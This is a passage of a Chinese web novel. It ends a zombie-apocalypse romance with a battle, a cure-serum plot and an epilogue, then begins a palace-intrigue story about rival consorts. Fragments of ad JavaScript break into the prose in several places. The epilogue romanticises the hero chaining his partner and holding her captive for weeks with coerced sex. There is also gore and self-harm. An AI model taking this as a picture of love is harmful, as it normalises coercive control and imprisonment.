阿晟挑眉,看向六级丧尸,眼底轻蔑。 他没传话,但眼里的意味分明是——嫌恶。 六级丧尸一下子气恼了,同样都是丧尸,竟然还敢瞧不起他,罢了,一个叛徒罢了。 他的气息向外放去,丧尸纷纷像打了鸡血一样向前冲,基地一些等级低的异能者被这霸道的气压震慑,纷纷吐出一口血。 异能者艰难地与这群丧尸对抗着。 已经有胆小的想要偷偷溜了。 领头的人见状面色一冷,手中的异能抛向想要偷溜的人,那人瞬间倒地,没了气息。 “逃跑者,死!” 被这样一镇压,再无人敢逃跑,只好咬着牙拼上去。 阿晟不紧不慢地向上走,他的威压毫不收敛地适当开,低级的丧尸根本不敢近他的身。 他手中放出藤蔓,周围的丧尸被他毫不费力地抹去脖子。 基地的异能者惊愕地看着这一幕。 这个小白脸,竟然实力这么强大。 领头者哈哈大笑:“我们基地的能人就是多,大家不要怕,给我杀!” 或许是这一幕给了异能者极大的震撼,他们纷纷有了动力,手中干劲十足。 丧尸被打的节节败退。 六级丧尸唾骂一句,恨恨地盯着阿晟。 “我最后再给你一次机会,回到我们的身边。” 此话一出,周围人惊奇地看着这个六级丧尸。 他们先是惊讶这个丧尸头头竟然会说话,然后惊恐他在和谁说话,这话的意味竟像是有同类在他们人类之间。 他们顺着六级丧尸的目光看了过去,这是——阿晟。 他们仔细打量着阿晟。 忽然惊恐道:“他的眼睛是灰色的!他是丧尸!” 话落,周围人惊恐开了。 两个高级丧尸,他们基地真的要亡了吗? “他不是丧尸!他是明喻言博士!” 女子掷地有声地喊道。 颜枝匆匆赶来。 这句话震慑住C基地的人,明喻言在C基地谁人不知,谁人不晓。 “我作证!” “我也作证!” 严昌庆五人小队开口道。 他们在基地也是有名的人,说话还是有些信服力的。 见躁动的C基地异能者们平静下来,颜枝看向五人小队,感激地笑笑。 严昌庆冲她点点头。 眼见场面被平息,六级丧尸烦躁地磨了磨尖牙。 他眼底忽然闪过狡黠。 “你们这群蠢笨的人类,竟然会真的相信一只丧尸,你们可知道,他是几级丧尸?” “他是六级丧尸,即将突破七级!比我更为强大,你们这群人类在他手上过不了一招,这个基地即将就要覆灭!我们丧尸会创建一个属于我们的天堂!至于你们这群人类,自然会成为我们伟大的丧尸的口粮!” 这波挑拨离间,成功使方才平静的躁动者再次毛骨悚然。 领头者冷着脸,开口道:“即使他是明喻言博士,现在也是一只丧尸,都给我杀!” 异能者眼底发红,竟然也不管那群丧尸了。 转头开始攻击阿晟。 丧尸王蹙眉,手下的攻击凛然。 见有异能者倒地。 异能者们纷纷喊道:“他果然是丧尸,杀了他!杀了他!” 颜枝连忙赶了过来,替阿晟提防着后方那群丧尸的攻击。 六级丧尸镇压着那群丧尸,饶有趣味地看着这一幕。 好一场窝里斗。 无论哪方死,都对他们丧尸有利。 果然是蠢笨无能的人类,他们丧尸才该当统治者! 阿晟眼底升起几分烦躁。 他欲不再留手,见谁杀谁。 便见颜枝按住他,摇摇头。 “不可,倘若都杀了,便真的坐实你的罪名了。” 到那时,阿晟便会被视为人类与丧尸两方的背叛者,无论哪方获胜,他都讨不了好。 丧尸王抿唇,只抵挡不出杀招。 严昌庆五人加入了他们,替他们抵挡着攻击。 C基地领头者冷眼看向他们:“你们真的要与人类为敌吗?” 严昌庆冷声道:“我们当然为人类作战,但是这一刻,我们只站在对的那一方!” 六级丧尸见到这种地步,竟然还有人类帮助阿晟,心中的耐心燃尽。 他的威压放开:“我的孩子们,快去吧,把这群人类都给我狠狠地咬碎!” C基地的异能者们方才尽攻击阿晟他们了,精神力已经有些疲倦了,对上丧尸,已有些力不从心了。 他们这时,才明白这群丧尸的真实意图。 但后悔已来不及。 大批大批的异能者被丧尸撕碎。 地上的残肢断骸数不胜数,血腥诡异。 正当六级丧尸放肆大笑之际,便听见赶来人群的脚步声。 异能放出,丧尸被绞杀。 场面开始反倒。 颜枝脸上还沾着血迹,她顺着目光看了过去。 竟然是顾朗。 他率 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 领着一大批人前来救援。 他的目光在人群中扫视,见到颜枝后他愣了下,然后移开眼神。 他冲C基地领头者点点头。 然后加入了混战。 他足足带来了近百个异能者,再加上C基地残留的近百个异能者,力量瞬间壮大。 之前在碧落温泉山庄,顾朗尚是三级异能者,时隔多日再见,竟有五级了,颜枝暗自喟叹,不愧是强者。 六级丧尸见自己的孩子被杀的干净,眼睛都红了。 他发疯地喊道:“我要你们为我的孩子们陪葬!” 六级丧尸的能力全部释放出,靠近他的十几个异能者瞬间倒地。期间,不乏有高级异能者。 实在恐怖,高级异能者在他面前竟然过不了一招。 除过阿晟,其余几个异能者无一不被震慑到,纷纷觉得五脏六腑移了位,喉间一抹腥甜。 顾朗尚且能抵挡得住,只是乱掉的气息也能反映出他的不好处境。 阿晟见颜枝被伤到,他眼里的灰色开始翻滚,转化成嗜血的红。 他不情愿,却也只能将女子推向顾朗。 “帮我照顾好她。” 话落,在顾朗惊愕的目光下。 阿晟起身,他唤出藤蔓,心念微动,便见那藤蔓开始暴涨,光滑的表面生出倒刺。 “你伤了她,该死。” 他看向六级丧尸。 六级丧尸察觉到他身上恐怖的气息。 咽了下口水。 然后气息也开始暴涨。 他脸色阴狠道:“你这个叛徒,我要拿你的血为我们的胜利献祭开路!” 阿晟唇角勾起,眼底却无笑意。 他不多说废话,藤蔓飞快地向六级丧尸飞去,捆住他的腰身,倒刺扎进他的身体,六级丧尸嘴角挂着笑意。 “就只有这样?你的实力也不过如此。” 阿晟没辩解,心念微动。 便见那藤蔓竟然开始收紧,六级丧尸瞪大眼睛,努力使出力气抵抗,却没有丝毫作用。 他不甘心就这样落败。 六级丧尸张大嘴,口中的尖牙还流淌着血液,显然刚吃过人不久。 阿晟蹙眉,这便是六级丧尸吗,看起来除过会说话以外,同那些阿巴阿巴的低级丧尸毫无区别。 他有些失望。 六级丧尸可以咬断钢铁的尖牙狠狠咬在那看起来极为轻薄的藤蔓上,却没想到,藤蔓似乎生气了,愈发收紧。 与此同时,阿晟身上的气息开始向上暴涨。 六级丧尸瞪大眼,这是七级的威压! 阿晟好笑地解释道:“虽然我是六级,但是我的藤蔓可不是六级。” 越级的威压袭来,藤蔓猛地收紧,那六级丧尸歪头,便倒下了。 他的头颅被藤蔓劈开。 一颗红色晶核掉了出来。 藤蔓将晶核圈住,收了回来,刚想放进嘴里,便被一巴掌拍了过来。 它委屈地看向主体。 阿晟扬唇道:“这可不是给你的。” 藤蔓看向颜枝,原本耷拉下的尾部又翘了起来。 阿晟听见头脑中传来藤蔓欣喜的声音:“你快帮我把这个好吃的石头给她,她一定很喜欢,就愿意让我多贴贴了。” 丧尸王嘴角擒笑,好呀,他会给的,只不过不是以藤蔓的名义。 毕竟。 阿枝可很怕这群藤蔓呢。 她喜欢的只有他一人。 20. 触手丧尸王 阿晟走向颜枝,旁边的异能者看见他微微颤抖,眼里闪着恐惧。 哪怕他刚才助人类打败了丧尸,也改变不了他是丧尸的本质,人类与丧尸本就是敌人。 阿晟并不在意,他走近,蹲下身子。 颜枝虚弱地靠在木质桌子前,看见他,乖乖地笑了一下。 阿晟眸色渐深,正欲抬手摸她的脸,被一只手拦住。 他抬头看了上去,顾朗将人护住,不让他靠近。 丧尸王不耐烦地啧了一声。 颜枝没有犹豫,扒开顾朗的手。 顾朗忍不住劝道:“他是一只丧尸!” 颜枝嗯了一声。 顾朗惊愕地看着她,颜枝一定是被这只丧尸暂时蛊惑了。 他眼睁睁看着那女子颤颤巍巍地起身,然后被那只丧尸扶住,丧尸掏出从地上找的一个四级晶核,将它擦干净,放进颜枝口中。 晶核消化后,女子苍白的表情红润了几分。 阿晟抱起颜枝,两人的背影看着极为般配,愈走愈远。 顾朗蹙眉。 颜枝是一个好女孩,他会将她救出于水深火热之中的。 他暗自坚定想道。 * 杨康意识到力量的重要性,自己这般弱小,留在这里也只会拖姐姐的后腿,便毅然决然地辞行,决意孤身出去历练。 C基地因丧尸潮实力大减,而顾朗率领的B基地却隐隐有壮大之势。 C基地的人们却把仇恨都转移向阿晟。 他们忘记了攻打他们的是六级丧尸率领的丧尸潮,也忘记了阿晟是助他们打败丧尸潮的最大帮手。 他们只记得阿晟是一只丧尸。 一只该死的丧尸。 他们还记得阿晟的实力是多么强大,所以不敢明着对付他,只敢背地里搞一些小动作。 ——C基地的人们在背后冷嘲热讽,开始的时候只敢小声蛐蛐,见阿晟不在意后,逐渐放肆,甚至在他面前也敢说上几句。 分发伙食时故意排挤阿晟,恨屋及屋,连带上开始针对颜枝以及严昌庆五人。 某些“有正义感”的人类甚至成立了一个“杀光丧尸,拯救人类”的组织,对近在咫尺的丧尸王阿晟恨得牙痒痒,却又惧于他的强大实力,不敢正面交锋。 种种行为,哪怕是性情温柔的颜枝也忍不住气闷。 她忍不住安慰阿晟:“你别在意那些人,他们都是一群狼心狗肺的衣冠禽兽。” 丧尸王忍俊不禁:“第一次听你用词这么……” 他没开口,颜枝顿时懂了,她瞪向他。 “你是不是想说我粗鲁?!” 阿晟垂眸看她,连忙求饶道他肯定没有这个意思。 颜枝忽然偏头:“好吧,我就是粗鲁,我都想当一次悍妇,把他们通通揍一顿!” 丧尸王心里忽然柔软了。 他将人扯进怀里,闷声道:“阿枝,我一点都不在意的,那群人类跟我没有关系,我只会因为你伤心。” 颜枝听着听着,感觉到不对劲。 她抬起头,质问道:“我让你伤心过吗?” “嗯。” 颜枝瞪大眼:“怎么可能,你可别污蔑我!” 她对阿晟可谓是尽心尽力,包容得像养了一个儿子一样。 丧尸王嘴角含笑,眼底却不达笑意。 骗子。 她与顾朗的接触他看的一清二楚。 阿晟分明搂着颜枝,心却空落落的。 怀中的人轻飘飘的,仿佛下一刻就会消失,阿晟双臂用力。 “松、松开!弄疼我了!” 颜枝拍了几下他的胳膊。 阿晟放松了手,眸底晦暗。 他想起那日。 早上他出去了一趟,颜枝还在熟睡中,待他回来后,颜枝已经不在床上了。 阿晟虽然因没有第一时间看见她而心中不爽,但也耐心地在家门口等着她。 期间,几个初生牛犊不怕虎的小孩子拿石头扔他,口中喊道:“坏丧尸滚出去!” 阿晟抬眸,黑黝黝的眸子盯着他们,藤蔓刚放出,那几个小孩吓得一边哭一边跑了。 等了好久,才看见颜枝回来。 她的身旁还跟着顾朗。 颜枝嘴角含笑,顾朗紧紧盯着她,眼中痴迷的意味十足。 两人一副相谈甚欢的模样。 感觉到他晦暗的目光后,顾朗在颜枝看不见的角度,悄悄得意地勾唇,眼中的意味分明是挑衅。 顾朗离开后,阿晟什么也没有问,依然如平时的模样,只是在夜里时,他总会撑起身子看着颜枝。 只有阿晟知道,他脑子里所计划的东西有多么恐怖。 ——他想要用铁链捆住颜枝,将她锁在屋中,除过他,再也见不到旁人。 他想要将颜枝转化为丧尸,他用自己的血肉供养着颜枝,让她离不开他。 阿晟想的时候,这才意识到,原来不止明喻言是个坏种,丧尸化后的他更是个败类。 阿晟搂着颜枝,眸中的情绪翻涌。 他忽然开口道:“阿枝,你爱我吗?” 颜枝骤然听见这么直白的话,脸顿时一红。 “嗯……有一丢丢喜欢吧。” 果然是只不解风情的丧尸,都没正式告白,竟然就开口问她爱不爱,颜枝心中无奈的同时,又升起了一抹小小的甜蜜。 只有一点喜欢吗? 丧尸王眸色渐深。 他忽然想起之前颜枝说自己厌恶丧尸。 是因为他是丧尸才不爱他吗? 那他如果变回人类了,颜枝一定会爱他的。 想到这里,阿晟忽然愉悦了,他嘴角含笑,蹭了蹭怀中女子的头发。 * 阿晟孤身来到C基地的实验室。 为了防止旁人组织他的计划,他按照记忆中的路线走了小道,除过他谁也不知道的小道。 那日白褂老者走得匆忙,只把实验室的心血拿走了,却把那支得来不易的虎食花留在了实验室。 正好,为阿晟做了嫁妆。 手刚碰上实验室的仪器,阿晟的肢体反应便开始娴熟地操作,属于明喻言的记忆充斥着他。 阿晟忽然想起明喻言为何会转化为丧尸。 他想观察丧尸的最高水平,但当时正处末世前期,只有弱智的低级丧尸,于是,这个疯子便将自己转化为丧尸,用药剂保留着自己生前的记忆,一步步地升级,成为丧尸王。 成功得到自己想要的东西后,他又没了乐趣,干脆将自己作为人类记忆抹去,成为一只真正的丧尸王。 这个不可一世的疯子大概不会想到,有一天丧尸化后的他竟然会因为一个女人再次寻找转化为人类的方法。 阿晟手下动作飞快,待落日余晖,第一瓶药剂正式完成。 丧尸王冷眼看着这瓶在外世足以奉为神药的药剂,仿佛面前的只是一瓶破烂。 他从未觉得当丧尸有何不好,哪怕被人人喊着去死,他依然不屑一顾,但阿枝讨厌丧尸,她也是畏惧他的实力,才勉强说自己喜欢他。 骗子。 都是骗他的。 颜枝喜欢顾朗。 颜枝喜欢人类。 颜枝讨厌丧尸。 阿晟心里疼的发紧,他抬起脖子,将药剂灌了下去。 一秒两秒三秒。 十分钟过去了。 毫无作用。 阿晟扯了扯嘴角,失败了呀。 他忽然感觉到什么。 六级丧尸的威压放出,一个东西滚了出来,跪倒在地上,止不住地呜呜叫。 阿晟眯眼看了过去。 一只丧尸。 一只穿着白褂子的丧尸。 阿晟忽然笑了笑,将药剂抛了过去。 “喝。” 丧尸疑惑地看着地上这东西,从嘴里灌了进去。 下一刻,灼热感传来。 丧尸疼的在地上打滚。 平息后,他爬了起来,灰色的皮肤变成了人类的正常肤色。 他呜呜地叫着。 阿晟看着这一幕。 有作用。 难道是因为他已经是正常肤色,这才没有效果吗? 这个猜测 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让他心里升起希望。 他看向那台实验台的目光带着热意。 * 天快黑了,阿晟还没回来,颜枝有些焦急了。 平时阿晟也会出去,但都不会在外面逗留太久,顶多半天就回来了,现在已经整整一天未见他的人影了。 颜枝虽清楚他的实力没人能为难他,但也有些担忧。 她正垫脚看向远处时,看见一个高大的身影,颜枝心中一喜。 走近后,才发觉不是阿晟,是顾朗。 顾朗注意到她失落的表情,抿唇道:“见是我这么不乐意啊。” 颜枝摇摇头。 “我只是在想,阿晟怎么还不回来?” 顾朗沉默了一瞬,忽然开口道:“那只丧尸快要死了。” 话里少见的刻薄。 颜枝心中一揪,冷声道:“你胡说什么!” 顾朗承认他嫉妒那只丧尸,嫉妒地快要发狂,颜枝便是他理想中伴侣的模样,她美丽,勇敢,强大,坚强,再没有任何人会比她更适合自己了。 但她却自甘堕落,宁愿与一只丧尸厮混在一起。 “他要在实验室自爆,大家都知道。” 颜枝瞪大眼,转身便要跑。 却被顾朗拉住:“颜枝,他是一只会吃人的丧尸,你想清楚,你与他是不可能的,你为什么不看看我呢?我会爱你疼你一辈子的。” 颜枝冷冷地看向他:“我绝对不会跟一个容忍队友将无辜女子推下丧尸潮的人在一起,绝不!” 顾朗哑口无言,只能愣愣地看着颜枝跑的慌乱的背影。 颜枝一边跑,一边安慰自己,不可能的,那只丧尸王那么厉害,怎么会想不开自爆。 肯定是顾朗骗她的。 但是心中莫名慌乱。 终于到了实验室。 门口聚了一堆人。 他们高兴道:“那只丧尸终于要死了,真是大快人心!” 颜枝狠狠推开他们。 “哎,哪个走路不长眼睛的人!” 颜枝冷冷地盯着他们:“没有那只丧尸王,在场的所有人都会死,包括你我。” 他们诡异地沉默了一下。 颜枝没管他们,推开实验室的门。 眼前所见的一幕让她眼里泪花闪烁。 往日里最为爱干净的阿晟衣服破烂,狼狈不堪。 他瘫坐在地上,眼中静默得宛如一滩死水。 他最为厉害的藤蔓被他狠狠地割断好几枝。 藤蔓无力地掉落在地上,再也不见往日生机勃勃的模样,如它的主人一般。 阿晟看见她,眼睛闪烁。 颜枝轻声哽咽道:“你为什么要这样啊?是因为他们都讨厌你吗?” 阿晟摇摇头,认真道:“我说过,能让我伤心的只有你。” 忽然,角落里一个穿着白大褂的人类颤颤巍巍地走了出来。 颜枝看向他,他长时间没说过话,口齿不清晰。 颜枝勉强辨认出他的意思。 ——他本来是一只丧尸,被阿晟灌了几瓶药水后,便转化成了人类。 颜枝瞪大眼睛,丧尸竟然能转化为人类! 没等她深思,她靠近阿晟,她小心翼翼,然后成功将他拥入怀里。 “阿晟,你告诉我,你怎么了?” 丧尸王忽然眼角划过血泪。 “阿枝讨厌丧尸才不肯爱我,我想要变成人类,我明明成功了,我努力了一天,不停地制作,不停地制作,那药剂成功将那只丧尸转化为人类,但是用在我身上,一点效果都没有……” “我永远都变不成人类了,阿枝永远都不会爱我了。” 他说着说着,左手拿起匕首插进自己的右胳膊,没有作用,匕首滑落,右胳膊一点伤痕都没有。 阿晟讽刺地笑笑,他果然是个怪物,哪有人类不会受伤的。 忽然感觉到一双手抬起自己的脸。 一个轻柔的吻落在自己脸上。 “我爱你。” 女孩子软软的声音响起。 “哪怕你永远是一只丧尸,也爱你。” 21. 番外 那瓶药剂被大范围推广开。 大批丧尸成功转化为人类,神奇的是,不仅外表与人类一致,就连丧尸化前的记忆也能成功恢复。 这些消息皆让外界震惊,人人恐惧的末世危机就这般化解。 一时间,末世前般的平和再次来到。 人类不用逃亡流窜,可以建造一个属于自己的小屋,甚至开一家店铺,城市中,商业再次兴盛起来。 再次听到杨康的消息,他已是占据一方势力的强者。 A大门口。 一个漂亮女人与一个高大俊朗的男人紧挨着。 女人看向A大,有些感慨道:“这便是我的学校,我还没毕业,可惜后面末世便到来了。” A大在末世降临后,已被丧尸捣毁,几周前,作为最高学府,国家又资助出钱重新修建,仍是她记忆中的模样。 阿晟顺着她的目光看了过去,眼神平静。 颜枝忽然想到什么,欣喜道:“我带你进去逛逛吧。” 男人没说话,由着她将自己拉了进去。 A大是最有名的学府,出了许多各行各业的人才,它的建筑设施更是没法说,国家每年十几亿十几亿地往进投资。 走过宿舍楼后,颜枝站在楼底,眼含回忆。 她指着楼道:“我以前在三楼住,325。” 阿晟眼光微动。 颜枝没上去,又走过一栋教学楼。 阿晟跟在她身边。 颜枝目光微暗,那日后,阿晟虽然不自残了,但与她相处仿佛多了一层薄膜,疏离的姿态,一日内所交流的话语不超过十句。 她今日突发奇想,带阿晟来A大逛逛,一方面是想看一下母校重建的情况,另一方面也是希望青春校园能够让他散散心。 她记得,明喻言便是A大的优秀毕业生,只不过他比她大了整整五届,颜枝只听过他的名号,却从未见过他。 两人坐上电梯,一路直达八楼,拐角处有一个明亮宽敞的教室,颜枝眼睛亮晶晶的。 她是学计算机专业的,这便是她平常上课的教室。 阿晟闻言,抿唇。 他忽然开口问道:“你今年应该上大几?” “大三。” 再一年便能毕业了。 颜枝没想多远,下意识回道。 她后知后觉,平时都是她问一句,阿晟回一句,今日他竟然主动问话,看来这个方法真的有用,颜枝心中一喜。 让她可惜的是,方才那句问话仿佛是昙花一现,后面阿晟的反应都很平淡。 颜枝甚至想要带他去食堂重温母校饭菜味道,忽然想到他仍是个丧尸,没有味觉。 颜枝想到这里,有些难过。 她抬头看向阿晟,张口想要说什么。 下一秒,却感觉到晕头转向。 颜枝东倒西歪,倒在阿晟怀里。 她看到的最后一个画面便是阿晟温柔的神情。 再次醒来,熟悉的小屋映入眼帘。 “阿晟?” 颜枝想要起身,差点被绊倒。 她看向身上的铁链。 手腕,脚腕被锁得很紧。 颜枝不可置信地晃了晃铁链。 她想用异能弄断,但无济于事,显然对方早有准备。 正当她一筹莫展之际,便看见阿晟端着一碗面条走了过来。 这个画面与两人第一次见面的场景重合。 不同的是,这次她的身上多了一副铁链。 颜枝困惑地看着他:“阿晟,为什么要锁我?” 丧尸王没应声,坐在床榻旁,抬起女子的下颚。 “阿枝饿了吧,我方才为你煮了面条,这次是我亲手做的。” 颜枝被迫吞咽下面条。 因为四肢被捆住,她的行动不太方便,只能靠阿晟喂。 汤汁撒出来是难免的事情。 阿晟看着她嘴边的汁液,眼里划过笑意。 “阿枝像只小花猫。” 他凑了过去,将汁液舔走。 “好了,现在干净了。” 他满意地点点头。 颜枝被迫被他囚禁在这个小屋中,足足两周。 她的手脚被锁着。 什么事情就都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只能靠阿晟帮自己做。 颜枝作为一个成年人,心里有些羞耻,阿晟却再乐意不过,他喜欢这样亲手为颜枝穿衣服,喂颜枝饭,甚至解决生理需求也要靠他。 这样阿晟觉得颜枝眼里心里便只有他一人,她的事情都与他有关。 他喜欢这样。 到了晚上,阿晟便拉着颜枝在床榻上一遍又一遍。 激动的时候,藤蔓也会出来。 颜枝承受不住时,会求饶他将藤蔓收回。 她像之前那样,搂着他的脖子粘糊道:“我要你,不要藤蔓。” 阿晟却不买账。 直到女子困乏地睡下后。 丧尸王才冷冷地看着她。 “骗子,哄我是因为阿枝想要去上学,想要离开我,休想!” 他是个怪物,是个坏批,他承认。 但他离不开颜枝的。 颜枝便是他的命。 阿晟以为颜枝最多只能撑两周,两周之后便再也忍受不了。 她会发疯,会骂他,会打他,会一直哭。 阿晟强迫自己狠下心来。 但奇怪的是,颜枝一直都很乖。 这种biantai的生活持续了一个月,她依然任他索取。 阿晟忽然有些不知所措了。 某日,一场缠绵过后,颜枝眼角还沁着泪滴,她晕晕乎乎的。 丧尸王忽然凑到她耳边。 “颜枝,你恨阿晟吗?” 女子还有些反应不过来,阿晟又耐心地又问了一遍。 颜枝摇摇头,她微微睁开眼,看向丧尸王。 她知道阿晟一直都不相信她会爱他,只觉得她在骗他。 颜枝拉下他的脖颈。 凑在他耳边道。 “我喜欢这样。” 阿晟惊愕地看着她,心里莫名有些酸涩。 他想说好,但开口便是:“我不信,你一直都在骗我。” 女子看向他,忽然泄气道:“那你锁,锁我一辈子!” 丧尸王忽然舒心,他眉眼带笑。 低头蹭蹭颜枝的锁骨。 22. 画皮妖 八月的天,却无端生冷了,风吹过树枝,打落了片片叶子,落在地上,凋零落败。 “小姐……” 丫鬟小荷过来给许清秋房中点上暖香,抬头看向孤零零坐在床榻上的女子。女子身着湖蓝色袄裙,弯眉杏腮,姿态端庄。 许清秋抿唇:“如今该叫我王妃。” 小荷自觉失言,连忙改口赔罪。 许清秋却不理她,她看向远处,忽然想起成婚之日娘的教导。 那时许清秋一身凤冠霞帔,美艳动人,像每个成婚的新娘子一样心怀羞怯,期待着自己的婚宴,期待着自己的夫君。 娘亲拉着许清秋的手,悄声道:“嫁过去了,你便是端王妃了,切不可失了正妻的身份,好好侍奉王爷,早日有个子嗣才能保你一生的荣贵。” 话落,她又将小人书偷偷塞到许清秋手里。 许清秋偷偷看了一眼,书里孟浪的内容让她脸一红,再不敢翻看。 想到端王俊朗的模样,挺拔的身姿,她垂下头,嘴角却浮现甜蜜的笑容。 现实却是,小荷偷偷抬眸看她。 欲言又止。 “支支吾吾算什么事!” 小荷立马跪了下来,磕头慌乱道:“王妃,王爷说今夜不来用膳了,他去了……安侧妃的寝室。” 许清秋嘴角含笑,眼底却没有笑意。 她忽然用力将手旁的碗筷掀翻。 破碎的碗筷落在地上,发出“啪”地一声。 吓得小荷一激灵,把头垂得更低。 “又是安侧妃!又是安侧妃!” 往日里这样便算了,但是今天……可是月圆之日啊,王爷明明与她约定好了,月圆之日必会来陪她这个正妻的。 许清秋看着面前已经冷掉的饭菜,忽然有些心累。 “撤了吧。” 小荷闻言,立马唤人将饭菜端了出去。 “王妃,奴婢来伺候您就寝。” 小荷上前来为女子小心翼翼地脱去外衣,待她躺好后,又耐心地给她掖好被子。 完毕后,吹了灯,她这才轻轻地走了出去。 黑夜中,无人看到,许清秋的眼角划过一滴泪珠。 翌日。 安侧妃来给端王妃请安了。 许清秋俯视着下面跪着的娇人。 女子一身鹅黄袄裙,衬得她越发皮肤白皙,面容娇媚,一双狐狸眼微微上扬,此刻跪着也不好好跪,两腿并拢,微微侧着身子,腰肢柔软,往上瞥的眼神似乎带着钩子。 许清秋勾唇:“安侧妃好大的威风,向本王妃请安竟敢迟半刻,不知道的人,还以为是本王妃来向你请安呢。” 她直勾勾地看着安侧妃,转头给了小荷一个眼神。 小荷立马心领神会,上前来把刚烧好的热茶放在安侧妃的手里。 “王妃让安侧妃敬茶,安侧妃就好好举着,什么时候王妃愿意喝了,什么时候侧妃放下来。” 滚烫的热茶就这么直直地透过茶壶传到安侧妃的手里。 她疼得嘶了一声,又不敢有半分怨言。 只直直地端着茶壶。 她眼含幽怨,看向许清秋,声声啜泣。 “王妃,妾身昨夜过于劳累,今早竟贪睡过了给王妃请安的时辰,该罚。” 说话间,她微垂脖颈。 脖颈上引人遐想的红痕顿时落入众人眼中。 许清秋咬牙,眼里闪过受伤。 无人知晓,王妃成婚已有一月之久,竟还是个少女,从未圆房一直是许清秋心中的痛,安侧妃竟明里暗里地拿受宠这事来戳她的心。 “既然知道错,就好好端着,本王妃瞧着你可是端的好得很。” 安侧妃咬唇,白嫩的手握着茶壶,柔柔地称是。 过了一阵,女子身子摇摇欲坠,仿若轻风拂过柳枝般,小荷眼里闪过精光。 她上前来拿糕点,竟不小心扭了脚一下,身子向安侧妃那边歪去。 女子躲闪不及,茶水竟直直地烫在身上。 “啊!” 安侧妃疼晕了过去。 一时间,众人都慌乱了。 许清秋眼里闪过错愕。 卿琅阁。 许清秋不赞同地看向小荷。 “你哪来的胆子,竟敢贸然行事,你可知有多少郎中去了桃苑阁。” 小荷连忙跪在地上,赔罪道:“王妃,奴婢这是心疼王妃,依奴婢之见,那安侧妃就是个狐狸精,不过是一个空有姿色的农家女子罢了,竟然勾得王爷魂牵梦萦的,不给她一点教训,恐怕哪天都要骑到王妃头上来了!” 许清秋神情松动。 片刻后,她起了身。 “今日之事,你去领罚,再有下次,别怪我不顾及往日情分,给我拿芙蓉膏来。” 小荷连忙磕头说是,又起身找芙蓉膏。 芙蓉膏是最好的祛疤药膏,王妃还是太心善了。 桃苑阁。 随着下人的一声禀告,许清秋进了安侧妃的寝室。 安侧妃躺在床榻上,闻言便要起身行礼。 许清秋连忙叫住她。 “既然伤了身子便不用行礼了,好好躺着吧。” 女子怯怯地看了她一眼。 眼里仍带着恐惧。 显然对今日之事还心悸着。 “王妃怎么来了?” 许清秋看着她这样,忽然有些难受,她撇开眼。 “今日之事,是我丫鬟的不是,我在这里替她向你赔罪,小荷与我一同长大,情同姐妹,还请安侧妃莫要见怪。” 她将芙蓉膏递给女子。 “这是芙蓉膏,涂上它,便不会留疤了。” 安侧妃闻言,眼里满是欣喜与感激。 她又要起身,但身上的伤痕疼得她嘶了一声,实在起不来身。 安侧妃眼含歉意,柔柔地看着许清秋。 “王妃的好,妾身感激不尽。” 许清秋呼吸一紧,移开目光。 安侧妃果真……媚得很。 许清秋打量着周围,看着墙上挂着许多名画。 皆是有名气的画师之作,一幅画可值百万银两。 她踱步过去,扫视过一众画像,落在其中一副仕女图上。 “这是……秦少白的画作。” 安侧妃欣喜道:“王妃也懂画吗?” 许清秋讽刺心想。 她一个乡野女子都懂画,她又如何不懂。 这幅仕女图她向王爷求了好久,王爷不耐烦了,用一句送人了便把她打发了,许清秋难过的哭了好久,结果竟是在安侧妃的房中看到了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>许是她的手指落在这幅画的时间过久。 安侧妃有些疑惑了,她贴心道:“王妃喜欢这幅画吗?喜欢的话就送给王妃了。” 这话一下子刺痛了许清秋的心。 她看向安侧妃。 “你算什么东西,也配赏赐给我不要的东西。” 话落,安侧妃立马白了脸。 女子不知所措道:“王妃……妾身…就是…看您喜欢。” 许清秋垂下眼眸。 话里堂皇而然,满嘴都是为她好,实际不过是在炫耀王爷对她的恩宠罢了,真是好心计。 也对。 倘若不是打的一手好算盘,如何能让王爷迷了魂似的痴迷于她,与正妻的新婚之夜,竟也抛弃正妻独守空房,跑到桃苑阁与她厮混。 想到这事,许清秋又红了眼眶。 委屈沁上心头。 安侧妃看见她这模样,愣了神。 眼里忽然闪过一抹晦暗。 她悄悄磨牙,直勾勾地盯着许清秋。 那眼神太过于侵略性了,倘若撇开头悄悄抹眼泪的许清秋能抬头,便能发现这个柔弱娇媚的侧妃竟用这样可怕的眼神盯着自己。 抹去眼泪,许清秋又抬起头,这时,安侧妃正温顺地看着她,仿佛没有看见她眼角的红似的。 许清秋松了口气。 方才竟没出息地想要落泪,还不知道这个女人要怎么笑话她呢,许清秋暗骂自己不争气,一想到什么事情就要难过地落泪。 见对方识趣,她满意地哼了一声。 “这几日你便好好休息,不用每日再来同本王妃请安了。” 安侧妃乖乖地称是。 “既然成了王爷的侧妃,便好好地侍奉王爷,为王府开枝散叶是正事,切莫做些惹是生非之事。” 许清秋摆出王妃的架子,眼神犀利。 看似是好意说教,实则也在警告安侧妃,让她少做一些耍心眼的事情。 安侧妃是聪明人,自然也听出来了,她白了脸,颤着嘴唇。 “…是。” 许清秋正要走,忽然被安侧妃叫住。 “王妃,妾身是想真心侍奉王爷与您的。” 许清秋勾唇,讽刺一笑。 她没应声,只是抬脚走了出去。 装模作样。 只留下女子痴痴地看着王妃的倩影。 看着手里的芙蓉膏。 安侧妃下了床,竟无一点方才艰难的模样,她将上了锁的匣子打开,将芙蓉膏放了进去,又重新上好锁。 摸着匣子,女子眼里痴气顿现。 “姐姐……” 动作过大,不慎扯到了身上被烫伤的地方,安侧妃闷哼一声。 她抬起手指,纤长的手指拉开衣服,露出被烫伤的地方,坑坑洼洼的,看起来极为恐怖,换作寻常女子早难过地便要寻死去了。 安侧妃却笑得明媚。 她摩挲着伤口,愉悦地心想,这是姐姐赐给她的伤口,她要好好爱惜着。 女子柔柔地笑着,手下却故意按着伤口。 刚处理好的伤口又崩开了。 血液流了出来。 女子的脸色顿时惨白。 进来的丫鬟看到这一幕,吓得几乎晕厥。 “快再请郎中来!快!!” 23. 画皮妖 